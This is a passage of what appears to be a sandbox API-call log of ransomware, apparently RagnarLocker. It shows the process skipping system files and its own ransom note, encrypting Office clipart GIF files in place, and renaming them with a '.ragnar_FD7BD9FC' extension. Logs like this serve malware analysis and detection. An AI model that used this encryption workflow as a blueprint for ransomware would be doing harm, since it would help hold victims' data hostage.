(lpString1="WB01241_.GIF", lpString2="iconcache.db") returned 1 [0092.756] lstrcmpiW (lpString1="WB01241_.GIF", lpString2="ntldr") returned 1 [0092.756] lstrcmpiW (lpString1="WB01241_.GIF", lpString2="ntuser.dat") returned 1 [0092.756] lstrcmpiW (lpString1="WB01241_.GIF", lpString2="ntuser.dat.log") returned 1 [0092.756] lstrcmpiW (lpString1="WB01241_.GIF", lpString2="ntuser.ini") returned 1 [0092.756] lstrcmpiW (lpString1="WB01241_.GIF", lpString2="thumbs.db") returned 1 [0092.756] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0092.756] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0092.756] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0092.756] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0092.756] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0092.756] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0092.756] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0092.756] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01241_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01241_.gif")) returned 0x20 [0092.756] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01241_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01241_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.757] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=386) returned 1 [0092.757] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x179, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.757] GetProcessHeap () returned 0x580000 [0092.757] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.757] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.758] VirtualAlloc (lpAddress=0x0, dwSize=0x182, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.758] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.758] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.758] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x182, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x182, lpOverlapped=0x0) returned 1 [0092.758] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.758] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x182, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.758] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x182, lpOverlapped=0x0) returned 1 [0092.758] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x182, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.758] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.758] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x182, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.758] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.758] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.758] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.759] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.759] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.759] GetProcessHeap () returned 0x580000 [0092.759] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.759] CloseHandle (hObject=0xf4) returned 1 [0092.759] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01241_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01241_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01241_.GIF" [0092.759] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01241_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01241_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01241_.GIF.ragnar_FD7BD9FC" [0092.759] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01241_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01241_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01241_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01241_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.760] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e14c700, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7e14c700, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x158, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01242_.GIF", cAlternateFileName="")) returned 1 [0092.760] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.760] lstrcpyW (in: lpString1=0x1eb62e, lpString2="WB01242_.GIF" | out: lpString1="WB01242_.GIF") returned="WB01242_.GIF" [0092.760] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01242_.GIF") returned=".GIF" [0092.760] lstrcmpiW (lpString1="WB01242_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.760] lstrcmpiW (lpString1="WB01242_.GIF", lpString2="autorun.inf") returned 1 [0092.760] lstrcmpiW (lpString1="WB01242_.GIF", lpString2="boot.ini") returned 1 [0092.760] lstrcmpiW (lpString1="WB01242_.GIF", lpString2="bootfont.bin") returned 1 [0092.760] lstrcmpiW (lpString1="WB01242_.GIF", lpString2="bootsect.bak") returned 1 [0092.760] lstrcmpiW (lpString1="WB01242_.GIF", lpString2="bootmgr") returned 1 [0092.760] lstrcmpiW (lpString1="WB01242_.GIF", lpString2="bootmgr.efi") returned 1 [0092.760] lstrcmpiW (lpString1="WB01242_.GIF", lpString2="bootmgfw.efi") returned 1 [0092.760] lstrcmpiW (lpString1="WB01242_.GIF", lpString2="desktop.ini") returned 1 [0092.760] lstrcmpiW (lpString1="WB01242_.GIF", lpString2="iconcache.db") returned 1 [0092.760] lstrcmpiW (lpString1="WB01242_.GIF", lpString2="ntldr") returned 1 [0092.760] lstrcmpiW (lpString1="WB01242_.GIF", lpString2="ntuser.dat") returned 1 [0092.760] lstrcmpiW (lpString1="WB01242_.GIF", lpString2="ntuser.dat.log") returned 1 [0092.760] lstrcmpiW (lpString1="WB01242_.GIF", lpString2="ntuser.ini") returned 1 [0092.760] lstrcmpiW (lpString1="WB01242_.GIF", lpString2="thumbs.db") returned 1 [0092.760] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0092.761] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0092.761] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0092.761] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0092.761] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0092.761] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0092.761] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0092.761] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01242_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01242_.gif")) returned 0x20 [0092.761] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01242_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01242_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.761] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=344) returned 1 [0092.761] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x14f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.761] GetProcessHeap () returned 0x580000 [0092.761] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.761] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.762] VirtualAlloc (lpAddress=0x0, dwSize=0x158, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.762] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.762] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.762] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x158, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x158, lpOverlapped=0x0) returned 1 [0092.763] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.763] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x158, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.763] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x158, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x158, lpOverlapped=0x0) returned 1 [0092.763] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x158, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.763] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.763] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x158, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.763] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.763] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.763] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.763] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.763] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.763] GetProcessHeap () returned 0x580000 [0092.763] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.763] CloseHandle (hObject=0xf4) returned 1 [0092.764] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01242_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01242_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01242_.GIF" [0092.764] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01242_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01242_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01242_.GIF.ragnar_FD7BD9FC" [0092.764] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01242_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01242_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01242_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01242_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.765] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b01f700, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b01f700, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x1af, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01243_.GIF", cAlternateFileName="")) returned 1 [0092.765] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.765] lstrcpyW (in: lpString1=0x1eb62e, lpString2="WB01243_.GIF" | out: lpString1="WB01243_.GIF") returned="WB01243_.GIF" [0092.765] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01243_.GIF") returned=".GIF" [0092.765] lstrcmpiW (lpString1="WB01243_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.765] lstrcmpiW (lpString1="WB01243_.GIF", lpString2="autorun.inf") returned 1 [0092.765] lstrcmpiW (lpString1="WB01243_.GIF", lpString2="boot.ini") returned 1 [0092.765] lstrcmpiW (lpString1="WB01243_.GIF", lpString2="bootfont.bin") returned 1 [0092.765] lstrcmpiW (lpString1="WB01243_.GIF", lpString2="bootsect.bak") returned 1 [0092.765] lstrcmpiW (lpString1="WB01243_.GIF", lpString2="bootmgr") returned 1 [0092.765] lstrcmpiW (lpString1="WB01243_.GIF", lpString2="bootmgr.efi") returned 1 [0092.765] lstrcmpiW (lpString1="WB01243_.GIF", lpString2="bootmgfw.efi") returned 1 [0092.765] lstrcmpiW (lpString1="WB01243_.GIF", lpString2="desktop.ini") returned 1 [0092.765] lstrcmpiW (lpString1="WB01243_.GIF", lpString2="iconcache.db") returned 1 [0092.765] lstrcmpiW (lpString1="WB01243_.GIF", lpString2="ntldr") returned 1 [0092.765] lstrcmpiW (lpString1="WB01243_.GIF", lpString2="ntuser.dat") returned 1 [0092.765] lstrcmpiW (lpString1="WB01243_.GIF", lpString2="ntuser.dat.log") returned 1 [0092.765] lstrcmpiW (lpString1="WB01243_.GIF", lpString2="ntuser.ini") returned 1 [0092.765] lstrcmpiW (lpString1="WB01243_.GIF", lpString2="thumbs.db") returned 1 [0092.765] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0092.765] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0092.765] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0092.765] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0092.765] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0092.765] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0092.765] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0092.765] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01243_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01243_.gif")) returned 0x20 [0092.767] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01243_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01243_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.767] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=431) returned 1 [0092.767] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1a6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.767] GetProcessHeap () returned 0x580000 [0092.767] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.767] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.768] VirtualAlloc (lpAddress=0x0, dwSize=0x1af, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.768] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.768] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.768] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1af, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1af, lpOverlapped=0x0) returned 1 [0092.768] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.768] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1af, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.768] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1af, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1af, lpOverlapped=0x0) returned 1 [0092.768] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1af, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.769] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.769] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1af, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.769] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.769] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.769] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.769] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.769] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.769] GetProcessHeap () returned 0x580000 [0092.769] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.769] CloseHandle (hObject=0xf4) returned 1 [0092.769] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01243_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01243_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01243_.GIF" [0092.769] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01243_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01243_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01243_.GIF.ragnar_FD7BD9FC" [0092.769] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01243_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01243_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01243_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01243_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.771] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b82ae00, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b82ae00, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x1d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01244_.GIF", cAlternateFileName="")) returned 1 [0092.771] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.771] lstrcpyW (in: lpString1=0x1eb62e, lpString2="WB01244_.GIF" | out: lpString1="WB01244_.GIF") returned="WB01244_.GIF" [0092.771] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01244_.GIF") returned=".GIF" [0092.771] lstrcmpiW (lpString1="WB01244_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.771] lstrcmpiW (lpString1="WB01244_.GIF", lpString2="autorun.inf") returned 1 [0092.771] lstrcmpiW (lpString1="WB01244_.GIF", lpString2="boot.ini") returned 1 [0092.771] lstrcmpiW (lpString1="WB01244_.GIF", lpString2="bootfont.bin") returned 1 [0092.771] lstrcmpiW (lpString1="WB01244_.GIF", lpString2="bootsect.bak") returned 1 [0092.771] lstrcmpiW (lpString1="WB01244_.GIF", lpString2="bootmgr") returned 1 [0092.771] lstrcmpiW (lpString1="WB01244_.GIF", lpString2="bootmgr.efi") returned 1 [0092.771] lstrcmpiW (lpString1="WB01244_.GIF", lpString2="bootmgfw.efi") returned 1 [0092.771] lstrcmpiW (lpString1="WB01244_.GIF", lpString2="desktop.ini") returned 1 [0092.771] lstrcmpiW (lpString1="WB01244_.GIF", lpString2="iconcache.db") returned 1 [0092.771] lstrcmpiW (lpString1="WB01244_.GIF", lpString2="ntldr") returned 1 [0092.771] lstrcmpiW (lpString1="WB01244_.GIF", lpString2="ntuser.dat") returned 1 [0092.771] lstrcmpiW (lpString1="WB01244_.GIF", lpString2="ntuser.dat.log") returned 1 [0092.771] lstrcmpiW (lpString1="WB01244_.GIF", lpString2="ntuser.ini") returned 1 [0092.771] lstrcmpiW (lpString1="WB01244_.GIF", lpString2="thumbs.db") returned 1 [0092.771] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0092.771] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0092.771] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0092.771] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0092.771] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0092.771] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0092.771] lstrcmpiW 